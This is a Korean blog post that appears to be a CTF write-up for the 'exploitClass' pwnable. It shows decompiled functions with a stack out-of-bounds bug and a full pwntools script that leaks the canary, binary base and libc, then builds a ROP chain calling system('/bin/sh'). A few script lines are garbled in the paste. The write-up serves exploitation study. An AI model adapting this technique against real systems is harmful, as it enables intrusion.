티스토리 뷰

Pwnable/write up

P.W.N ctf exploitClass

xxvd 2018. 11. 18. 03:49


프로그램 자체는 간단합니다. 1번이 readData, 2번이 writeData 입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 __fastcall readData(__int64 a1)
{
  __int64 idx; // rax
  int v3; // [rsp+4h] [rbp-14h]
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]
 
  v4 = __readfsqword(0x28u);
  puts("Which entry to show?");
  v3 = 0;
  __isoc99_scanf("%u"&v3);
  idx = (12 * v3);
  if ( idx <= 252 )
    puts((a1 + idx));
  return __readfsqword(0x28u) ^ v4;
}
cs


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall writeData(__int64 a1)
{
  unsigned int v2; // [rsp+4h] [rbp-14h]
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]
 
  v3 = __readfsqword(0x28u);
  puts("Which entry to write?");
  v2 = 0;
  __isoc99_scanf("%u"&v2);
  if ( v2 <= 252 )
  {
    puts("What to write?");
    read(0, (a1 + 12 * v2), 12uLL);
  }
  return __readfsqword(0x28u) ^ v3;
}
cs

각각 readData와 writeData 입니다. 인자를 읽거나 해당 인덱스에 값을 쓸 수 있습니다. 두 함수의 변수는 v3인데 v3에 쓰기와 읽기가 가능합니다.v3는 rbp - 0x128 에 위치하므로 rip를 overwrite 할 수 있고, 카나리가 걸려있으니 카나리 릭도 가능합니다.
(실제로 writeData에 26번째 인덱스를 선택하고 A를 엄청 때려박으면 rip가 AAA~ 로 덮입니다.)

익스는 생각보다 쉬울것 같았는데 모든 보호기법이 다 걸려있어서 조금 힘들었습니다. 특히 PIE가 걸려있어 binary base를 릭하고
구한 base에다 offset을 더해서 libc 릭하고 rtl 하는 방식이었는데 binary base 릭하는 부분에서 스택에 있는 코드영역을 찾는게 어려웠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
 
= process('./exploitClass')
#context.log_level='debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
= ELF('./exploitClass')
def write(idx,data):
    p.sendline("2")
    p.recvuntil("write?\n")
    p.sendline(str(idx))
    p.recvuntil("write?\n")
    p.send(data)
    p.recvuntil("exit!\n")
 
def read(idx):
    p.sendline("1")
    p.recvuntil("show?\n")
    p.sendline(str(idx))
    data=p.recvline()
    p.recvuntil("exit!\n")
    return data
 
 
write(21,"A"*12)
write(22,"A")
 
canary = u64("\x00"+read(21)[13:20])
log.info("canary :"+hex(canary))
 
write(22,"A"*12)
write(23,"A"*4
binary_base = u64(read(21)[28:34]+"\x00"*2- e.symbols['__libc_csu_init']
log.info("binary_base : "+ hex(binary_base))
 
pop_rdi_ret = p64(binary_base + 0x14a3)
puts_got = binary_base + e.got['puts']
puts_plt = binary_base + e.plt['puts']
main = p64(binary_base + e.symbols['main'])
 
write(22,p64(canary))
write(24,"A"*8+pop_rdi_ret[0:4])
write(25,pop_rdi_ret[4:]+p64(puts_got))
write(26,p64(puts_plt)+main[0:4])
write(27,main[4:])
 
p.sendline("10")
 
puts = u64(p.recvuntil("exit!\n")[17:23]+"\x00"*2)
libc_base = puts -  libc.symbols['puts']
cmd = libc_base + next(libc.search('/bin/sh\x00'))
system = libc_base + libc.symbols['system']
 
log.info("puts : "+hex(puts))
log.info("libc_base : "+hex(libc_base))
log.info("system : "+hex(system))
log.info("/bin/sh : "+hex(cmd))
 
write(22,p64(canary))
write(24,"A"*8+pop_rdi_ret[0:4])
write(25,pop_rdi_ret[4:]+p64(cmd))
write(26,p64(system))
 
p.sendline("10")
 
p.interactive()
 
cs


'Pwnable > write up' 카테고리의 다른 글

[고등해커] Basic Assembly  (0) 2018.12.02
CSAW 2013 miteegashun(400)  (0) 2018.11.19
P.W.N ctf write up  (0) 2018.11.04
[PlaidCTF 2014] kappa  (0) 2018.09.26
[DEFCON 2015] r0pbaby  (0) 2018.09.16
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함